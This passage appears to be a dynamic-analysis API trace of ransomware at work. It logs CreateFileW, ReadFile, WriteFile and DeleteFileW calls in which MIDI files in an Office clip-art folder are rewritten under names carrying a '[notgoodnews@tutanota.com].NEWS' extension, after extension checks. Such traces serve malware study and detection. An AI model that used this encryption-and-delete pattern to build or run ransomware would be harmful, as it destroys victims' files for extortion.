lpString2=".MID") returned -1 [0171.286] lstrlenW (lpString=".7z") returned 3 [0171.286] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.286] lstrlenW (lpString=".dbf") returned 4 [0171.286] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.286] lstrlenW (lpString=".1cd") returned 4 [0171.286] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.286] lstrlenW (lpString=".jpg") returned 4 [0171.286] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.286] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0171.286] lstrlenW (lpString="SWEST_01.MID") returned 12 [0171.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0171.288] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=8501) returned 1 [0171.288] CloseHandle (hObject=0x518) returned 1 [0171.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220 [0171.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0171.288] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.288] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0171.289] GetLastError () returned 0x0 [0171.289] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2135, lpOverlapped=0x0) returned 1 [0171.304] WriteFile (in: hFile=0x554, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2140, lpOverlapped=0x0) returned 1 [0171.305] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.305] WriteFile (in: hFile=0x554, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.305] SetEndOfFile (hFile=0x554) returned 1 [0171.426] CloseHandle (hObject=0x554) returned 1 [0171.426] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.426] SetEndOfFile (hFile=0x518) returned 1 [0171.433] CloseHandle (hObject=0x518) returned 1 [0171.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0171.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.434] lstrlenW (lpString=".doc") returned 4 [0171.435] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.435] lstrlenW (lpString=".docx") returned 5 [0171.435] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.435] lstrlenW (lpString=".pdf") returned 4 [0171.435] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.435] lstrlenW (lpString=".xls") returned 4 [0171.435] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.435] lstrlenW (lpString=".xlsx") returned 5 [0171.435] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.435] lstrlenW (lpString=".ppt") returned 4 [0171.435] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.435] lstrlenW (lpString=".zip") returned 4 [0171.435] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.435] lstrlenW (lpString=".rar") returned 4 [0171.435] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.435] lstrlenW (lpString=".bz2") returned 4 [0171.435] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.435] lstrlenW (lpString=".7z") returned 3 [0171.435] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.435] lstrlenW (lpString=".dbf") returned 4 [0171.435] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.435] lstrlenW (lpString=".1cd") returned 4 [0171.435] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.435] lstrlenW (lpString=".jpg") returned 4 [0171.435] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.435] lstrlenW (lpString=".doc") returned 4 [0171.435] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.436] lstrlenW (lpString=".docx") returned 5 [0171.436] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.436] lstrlenW (lpString=".pdf") returned 4 [0171.436] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.436] lstrlenW (lpString=".xls") returned 4 [0171.436] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.436] lstrlenW (lpString=".xlsx") returned 5 [0171.436] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.436] lstrlenW (lpString=".ppt") returned 4 [0171.436] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.436] lstrlenW (lpString=".zip") returned 4 [0171.436] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.436] lstrlenW (lpString=".rar") returned 4 [0171.436] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.436] lstrlenW (lpString=".bz2") returned 4 [0171.436] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.436] lstrlenW (lpString=".7z") returned 3 [0171.436] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.436] lstrlenW (lpString=".dbf") returned 4 [0171.436] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.436] lstrlenW (lpString=".1cd") returned 4 [0171.436] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0171.436] lstrlenW (lpString=".jpg") returned 4 [0171.436] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.436] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0171.436] lstrlenW (lpString="URBAN_01.MID") returned 12 [0171.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0171.438] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=13358) returned 1 [0171.438] CloseHandle (hObject=0x518) returned 1 [0171.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220 [0171.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0171.439] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.439] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0171.440] GetLastError () returned 0x0 [0171.440] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x342e, lpOverlapped=0x0) returned 1 [0171.442] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x3430, lpOverlapped=0x0) returned 1 [0171.443] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.443] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.444] SetEndOfFile (hFile=0x454) returned 1 [0171.444] CloseHandle (hObject=0x454) returned 1 [0171.444] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.444] SetEndOfFile (hFile=0x518) returned 1 [0171.447] CloseHandle (hObject=0x518) returned 1 [0171.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0171.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.449] lstrlenW (lpString=".doc") returned 4 [0171.449] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.449] lstrlenW (lpString=".docx") returned 5 [0171.449] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.449] lstrlenW (lpString=".pdf") returned 4 [0171.449] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.449] lstrlenW (lpString=".xls") returned 4 [0171.449] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.449] lstrlenW (lpString=".xlsx") returned 5 [0171.449] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.449] lstrlenW (lpString=".ppt") returned 4 [0171.449] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.449] lstrlenW (lpString=".zip") returned 4 [0171.449] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.449] lstrlenW (lpString=".rar") returned 4 [0171.449] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.449] lstrlenW (lpString=".bz2") returned 4 [0171.449] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.449] lstrlenW (lpString=".7z") returned 3 [0171.449] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.449] lstrlenW (lpString=".dbf") returned 4 [0171.449] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.449] lstrlenW (lpString=".1cd") returned 4 [0171.449] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.450] lstrlenW (lpString=".jpg") returned 4 [0171.450] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.450] lstrlenW (lpString=".doc") returned 4 [0171.450] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.450] lstrlenW (lpString=".docx") returned 5 [0171.450] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.450] lstrlenW (lpString=".pdf") returned 4 [0171.450] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.450] lstrlenW (lpString=".xls") returned 4 [0171.450] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.450] lstrlenW (lpString=".xlsx") returned 5 [0171.450] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.450] lstrlenW (lpString=".ppt") returned 4 [0171.450] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.450] lstrlenW (lpString=".zip") returned 4 [0171.450] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.450] lstrlenW (lpString=".rar") returned 4 [0171.450] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.450] lstrlenW (lpString=".bz2") returned 4 [0171.450] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.450] lstrlenW (lpString=".7z") returned 3 [0171.450] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.450] lstrlenW (lpString=".dbf") returned 4 [0171.450] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.450] lstrlenW (lpString=".1cd") returned 4 [0171.450] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0171.450] lstrlenW (lpString=".jpg") returned 4 [0171.450] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.451] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0171.451] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0171.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0171.452] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4961) returned 1 [0171.452] CloseHandle (hObject=0x518) returned 1 [0171.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220 [0171.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0171.453] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.453] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0171.454] GetLastError () returned 0x0 [0171.454] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x1361, lpOverlapped=0x0) returned 1 [0171.455] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1370, lpOverlapped=0x0) returned 1 [0171.456] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.456] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.457] SetEndOfFile (hFile=0x454) returned 1 [0171.457] CloseHandle (hObject=0x454) returned 1 [0171.457] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.457] SetEndOfFile (hFile=0x518) returned 1 [0171.460] CloseHandle (hObject=0x518) returned 1 [0171.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0171.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.461] lstrlenW (lpString=".doc") returned 4 [0171.461] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.461] lstrlenW (lpString=".docx") returned 5 [0171.461] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.461] lstrlenW (lpString=".pdf") returned 4 [0171.461] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.461] lstrlenW (lpString=".xls") returned 4 [0171.461] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.461] lstrlenW (lpString=".xlsx") returned 5 [0171.461] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.461] lstrlenW (lpString=".ppt") returned 4 [0171.461] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.461] lstrlenW (lpString=".zip") returned 4 [0171.461] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.461] lstrlenW (lpString=".rar") returned 4 [0171.461] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.461] lstrlenW (lpString=".bz2") returned 4 [0171.461] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.461] lstrlenW (lpString=".7z") returned 3 [0171.461] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.461] lstrlenW (lpString=".dbf") returned 4 [0171.461] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.462] lstrlenW (lpString=".1cd") returned 4 [0171.462] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.462] lstrlenW (lpString=".jpg") returned 4 [0171.462] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.462] lstrlenW (lpString=".doc") returned 4 [0171.462] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.462] lstrlenW (lpString=".docx") returned 5 [0171.462] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.462] lstrlenW (lpString=".pdf") returned 4 [0171.462] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.462] lstrlenW (lpString=".xls") returned 4 [0171.462] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.462] lstrlenW (lpString=".xlsx") returned 5 [0171.462] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.462] lstrlenW (lpString=".ppt") returned 4 [0171.462] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.462] lstrlenW (lpString=".zip") returned 4 [0171.462] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.462] lstrlenW (lpString=".rar") returned 4 [0171.462] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.462] lstrlenW (lpString=".bz2") returned 4 [0171.462] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.462] lstrlenW (lpString=".7z") returned 3 [0171.462] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.462] lstrlenW (lpString=".dbf") returned 4 [0171.462] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.462] lstrlenW (lpString=".1cd") returned 4 [0171.462] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 